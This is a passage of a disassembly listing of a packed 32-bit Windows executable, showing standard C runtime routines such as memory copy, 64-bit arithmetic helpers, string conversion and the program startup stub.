[edi+ecx*4+14h], eax loc_41D91C: ; DATA XREF: sub_41D670+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D924: ; DATA XREF: sub_41D670+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D92C: ; DATA XREF: sub_41D670+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D934: ; DATA XREF: sub_41D670+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D947: ; CODE XREF: sub_41D670+1C2j ; DATA XREF: sub_41D670:off_41D900o jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r ; sub_41D670:loc_41D854r ... dd offset loc_41D968 dd offset loc_41D978 dd offset loc_41D98C ; --------------------------------------------------------------------------- loc_41D960: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D968: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D978: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D98C: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D670 endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p ; sub_40DA4F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p arg_0 = dword ptr 4 push esi push dword_4DD39C call sub_422EA8 mov edx, dword_4DD39C pop ecx mov ecx, dword_4DD398 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41DA12 push edx call sub_422EA8 add eax, 10h push eax push dword_4DD39C call sub_41BBE2 add esp, 0Ch test eax, eax jnz short loc_41D9F5 retn ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj mov ecx, dword_4DD398 sub ecx, dword_4DD39C mov dword_4DD39C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DD398, ecx loc_41DA12: ; CODE XREF: sub_41D9B3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DD398, 4 retn sub_41D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D9B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= sub_41DA32 proc near ; DATA XREF: .packed:00429018o push 80h call sub_41BEB5 test eax, eax pop ecx mov dword_4DD39C, eax jnz short loc_41DA53 push 18h call sub_41E2C9 mov eax, dword_4DD39C pop ecx loc_41DA53: ; CODE XREF: sub_41DA32+12j and dword ptr [eax], 0 mov eax, dword_4DD39C mov dword_4DD398, eax retn sub_41DA32 endp ; =============== S U B R O U T I N E ======================================= sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap ; sub_40DB5E+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41DA75 loc_41DA6D: ; CODE XREF: sub_41DA61+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41DA6D loc_41DA75: ; CODE XREF: sub_41DA61+Aj mov edx, [esp+arg_4] push esi loc_41DA7A: ; CODE XREF: sub_41DA61+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41DA7A pop esi retn sub_41DA61 endp ; =============== S U B R O U T I N E ======================================= sub_41DA8B proc near ; CODE XREF: sub_412197+26Ep ; sub_412197+365p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DB07 mov edi, [esp+8+arg_8] test edi, edi jz short loc_41DAAA cmp edi, 1 jz short loc_41DAAA cmp edi, 2 jnz short loc_41DB07 loc_41DAAA: ; CODE XREF: sub_41DA8B+13j ; sub_41DA8B+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DAC1 push esi call sub_422FA3 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_41DAC1: ; CODE XREF: sub_41DA8B+27j push esi call sub_41E42B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DAD6 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DAEA ; --------------------------------------------------------------------------- loc_41DAD6: ; CODE XREF: sub_41DA8B+42j test al, 1 jz short loc_41DAEA test al, 8 jz short loc_41DAEA test ah, 4 jnz short loc_41DAEA mov dword ptr [esi+18h], 200h loc_41DAEA: ; CODE XREF: sub_41DA8B+49j ; sub_41DA8B+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_422F09 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB07: ; CODE XREF: sub_41DA8B+Bj ; sub_41DA8B+1Dj mov dword_4DBDDC, 16h or eax, 0FFFFFFFFh loc_41DB14: ; CODE XREF: sub_41DA8B+7Aj pop edi pop esi retn sub_41DA8B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep ; sub_4143F7+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DB39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: sub_41DB20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB54 proc near ; CODE XREF: sub_416563+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DB78 xor eax, eax jmp loc_41DC45 ; --------------------------------------------------------------------------- loc_41DB78: ; CODE XREF: sub_41DB54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DB92 ; --------------------------------------------------------------------------- loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj mov [ebp+arg_C], 1000h loc_41DB92: ; CODE XREF: sub_41DB54+35j ; sub_41DB54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DBC6 mov eax, [esi+4] test eax, eax jz short loc_41DBC6 cmp ebx, eax mov edi, ebx jb short loc_41DBAC mov edi, eax loc_41DBAC: ; CODE XREF: sub_41DB54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CD20 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DC0C ; --------------------------------------------------------------------------- loc_41DBC6: ; CODE XREF: sub_41DB54+47j ; sub_41DB54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DC11 test ecx, ecx jz short loc_41DBDA push esi call sub_41E42B test eax, eax pop ecx jnz short loc_41DC53 loc_41DBDA: ; CODE XREF: sub_41DB54+79j cmp [ebp+arg_C], 0 jz short loc_41DBED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DBEF ; --------------------------------------------------------------------------- loc_41DBED: ; CODE XREF: sub_41DB54+8Aj mov edi, ebx loc_41DBEF: ; CODE XREF: sub_41DB54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC4A loc_41DC0C: ; CODE XREF: sub_41DB54+70j mov edi, [ebp+var_4] jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DC11: ; CODE XREF: sub_41DB54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FE2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DC3A mov [ebp+arg_C], 1 loc_41DC3A: ; CODE XREF: sub_41DB54+BBj ; sub_41DB54+DDj test ebx, ebx jnz loc_41DB92 mov eax, [ebp+arg_8] loc_41DC45: ; CODE XREF: sub_41DB54+1Fj ; sub_41DB54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC4A: ; CODE XREF: sub_41DB54+ADj ; sub_41DB54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DB54+84j ; sub_41DB54+CFj mov eax, edi loc_41DC55: ; CODE XREF: sub_41DB54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC45 sub_41DB54 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_4270A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41DC7E call dword_427094 ; RtlGetLastWin32Error push eax call sub_420C7F pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDDC, 0Dh mov dword_4DBDE0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp ; sub_41AED9+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DCD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DD13 ; --------------------------------------------------------------------------- loc_41DCD2: ; CODE XREF: sub_41DCB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DD0E cmp edx, [esp+8+arg_4] ja short loc_41DD0E jb short loc_41DD0F cmp eax, [esp+8+arg_0] jbe short loc_41DD0F loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej ; sub_41DCB0+54j dec esi loc_41DD0F: ; CODE XREF: sub_41DCB0+56j ; sub_41DCB0+5Cj xor edx, edx mov eax, esi loc_41DD13: ; CODE XREF: sub_41DCB0+20j pop esi pop ebx retn 10h sub_41DCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp ; sub_41AED9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DD41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD41: ; CODE XREF: sub_41DD20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DD4F: ; CODE XREF: sub_41DD20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DD4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DD7A cmp edx, [esp+4+arg_4] ja short loc_41DD7A jb short loc_41DD82 cmp eax, [esp+4+arg_0] jbe short loc_41DD82 loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj ; sub_41DD20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DD82: ; CODE XREF: sub_41DD20+52j ; sub_41DD20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DD91: ; CODE XREF: sub_41DD20+1Fj pop ebx retn 10h sub_41DD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp ; sub_416DD9+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DDC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DDDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DDDD: ; CODE XREF: sub_41DDA0+27j or eax, eax jnz short loc_41DDF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DE3A ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DE07: ; CODE XREF: sub_41DDA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DE07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DE35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DE35 jb short loc_41DE36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DE36 loc_41DE35: ; CODE XREF: sub_41DDA0+85j ; sub_41DDA0+8Bj dec esi loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj ; sub_41DDA0+93j xor edx, edx mov eax, esi loc_41DE3A: ; CODE XREF: sub_41DDA0+57j dec edi jnz short loc_41DE44 neg edx neg eax sbb edx, 0 loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE4A proc near ; CODE XREF: sub_417493+BFp ; sub_417493+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBE84 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DE7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DEE5 loc_41DE66: ; CODE XREF: sub_41DE4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DE77 cmp cl, 7Ah jg short loc_41DE77 sub cl, 20h mov [edx], cl loc_41DE77: ; CODE XREF: sub_41DE4A+21j ; sub_41DE4A+26j inc edx cmp [edx], bl jnz short loc_41DE66 jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DE7E: ; CODE XREF: sub_41DE4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4232A8 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DED7 push edi call sub_41BEB5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DED7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41DED7 push [ebp+var_4] push [ebp+arg_0] call sub_41C890 pop ecx pop ecx loc_41DED7: ; CODE XREF: sub_41DE4A+53j ; sub_41DE4A+61j ... push [ebp+var_4] call sub_41BA91 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj ; sub_41DE4A+32j pop ebx leave retn sub_41DE4A endp ; =============== S U B R O U T I N E ======================================= sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DEFF push 4 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DEFF: ; CODE XREF: sub_41DEE8+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 retn sub_41DEE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p ; sub_420DB0+88p ... arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DF27 push 8 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DF27: ; CODE XREF: sub_41DF10+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DF8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DF8D test eax, 1 jz short loc_41DF6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DFBA inc esi inc edi dec eax jz short loc_41DF8A loc_41DF6D: ; CODE XREF: sub_41DF40+20j ; sub_41DF40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DFBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DFBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DF6D loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj ; sub_41DF40+84j pop edi pop esi locret_41DF8C: ; CODE XREF: sub_41DF40+6j retn ; --------------------------------------------------------------------------- loc_41DF8D: ; CODE XREF: sub_41DF40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DFC2 repe cmpsd jz short loc_41DFC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DFB5 cmp ch, dh jnz short loc_41DFB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DFB5 cmp ch, dh loc_41DFB5: ; CODE XREF: sub_41DF40+63j ; sub_41DF40+67j ... mov eax, 0 loc_41DFBA: ; CODE XREF: sub_41DF40+26j ; sub_41DF40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DFC2: ; CODE XREF: sub_41DF40+55j ; sub_41DF40+59j test eax, eax jz short loc_41DF8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DFB5 dec eax jz short loc_41DFE9 cmp dh, ch jnz short loc_41DFB5 dec eax jz short loc_41DFE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DFB5 dec eax loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj ; sub_41DF40+96j pop edi pop esi retn sub_41DF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p ; sub_4185D3+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx push esi push edi jnz short loc_41E019 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E0B2 cmp eax, 5Ah jg loc_41E0B2 add eax, 20h jmp loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E019: ; CODE XREF: sub_41DFEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41E04D cmp dword_43D084, esi jle short loc_41E03B push esi push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_41E045 ; --------------------------------------------------------------------------- loc_41E03B: ; CODE XREF: sub_41DFEC+42j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, esi loc_41E045: ; CODE XREF: sub_41DFEC+4Dj test eax, eax jnz short loc_41E04D loc_41E049: ; CODE XREF: sub_41DFEC+ADj mov eax, ebx jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj ; sub_41DFEC+5Bj mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41E071 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41E07A ; --------------------------------------------------------------------------- loc_41E071: ; CODE XREF: sub_41DFEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41E07A: ; CODE XREF: sub_41DFEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41E049 cmp eax, esi jnz short loc_41E0A5 movzx eax, [ebp+var_4] jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E0B2: ; CODE XREF: sub_41DFEC+16j ; sub_41DFEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DFEC endp ; =============== S U B R O U T I N E ======================================= sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp ; sub_419AE0+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E0CE loc_41E0C4: ; CODE XREF: sub_41E0B7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E0C4 loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp ; sub_418AF1+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E1A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E1CE cmp dword_4DBE84, esi jnz short loc_41E125 cmp edi, esi jbe loc_41E1CE loc_41E104: ; CODE XREF: sub_41E0D4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E1CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E104 jmp loc_41E1CE ; --------------------------------------------------------------------------- loc_41E125: ; CODE XREF: sub_41E0D4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBE94 call esi ; MultiByteToWideChar test eax, eax jnz loc_41E1CD call dword_427094 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41E15F loc_41E150: ; CODE XREF: sub_41E0D4+CBj ; sub_41E0D4+F7j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E167: ; CODE XREF: sub_41E0D4+B3j mov cl, [eax] test cl, cl jz short loc_41E189 mov edx, off_43CE78 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E17E inc eax loc_41E17E: ; CODE XREF: sub_41E0D4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E167 loc_41E189: ; CODE XREF: sub_41E0D4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBE94 call esi ; MultiByteToWideChar test eax, eax jnz short loc_41E1CE jmp short loc_41E150 ; --------------------------------------------------------------------------- loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj cmp dword_4DBE84, esi jnz short loc_41E1B4 push [ebp+arg_4] call sub_41B9C0 pop ecx jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBE94 call dword_4270E8 ; MultiByteToWideChar cmp eax, esi jz short loc_41E150 loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj dec eax loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj ; sub_41E0D4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E0D4 endp ; --------------------------------------------------------------------------- loc_41E1D3: ; CODE XREF: .RLPack:004FA619j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427700 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_4271B0 ; GetVersion xor edx, edx mov dl, ah mov dword_4DBDF4, edx mov ecx, eax and ecx, 0FFh mov dword_4DBDF0, ecx shl ecx, 8 add ecx, edx mov dword_4DBDEC, ecx shr eax, 10h mov dword_4DBDE8, eax xor esi, esi push esi call sub_41E672 pop ecx test eax, eax jnz short loc_41E23F push 1Ch call sub_41E2EE pop ecx loc_41E23F: ; CODE XREF: .packed:0041E235j mov [ebp-4], esi call sub_423B0B call dword_4271AC ; GetCommandLineA mov dword_4DD38C, eax call sub_4239D9 mov dword_4DBE34, eax call sub_42378C call sub_4236D3 call sub_41C164 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_4271A8 ; GetStartupInfoA call sub_42367B mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_41E28C movzx eax, word ptr [ebp-2Ch] jmp short loc_41E28F ; --------------------------------------------------------------------------- loc_41E28C: ; CODE XREF: .packed:0041E284j push 0Ah pop eax loc_41E28F: ; CODE XREF: .packed:0041E28Aj push eax push dword ptr [ebp-64h] push esi push esi call dword_4270A4 ; GetModuleHandleA push eax call sub_401221 mov [ebp-60h], eax push eax call sub_41C191 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_4234F7 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_41C1A2 ; =============== S U B R O U T I N E ======================================= sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p ; sub_4236D3+4Ep ... arg_0 = dword ptr 4 cmp dword_4DBE3C, 1 jnz short loc_41E2D7 call sub_423D98 loc_41E2D7: ; CODE XREF: sub_41E2C9+7j push [esp+arg_0] call sub_423DD1 push 0FFh call off_43AE40 pop ecx pop ecx retn sub_41E2C9 endp ; =============== S U B R O U T I N E ======================================= sub_41E2EE proc near ; CODE XREF: .packed:0041E239p arg_0 = dword ptr 4 cmp dword_4DBE3C, 1 jnz short loc_41E2FC call sub_423D98 loc_41E2FC: ; CODE XREF: sub_41E2EE+7j push [esp+arg_0] call sub_423DD1 pop ecx push 0FFh call dword_42706C ; ExitProcess retn sub_41E2EE endp ; =============== S U B R O U T 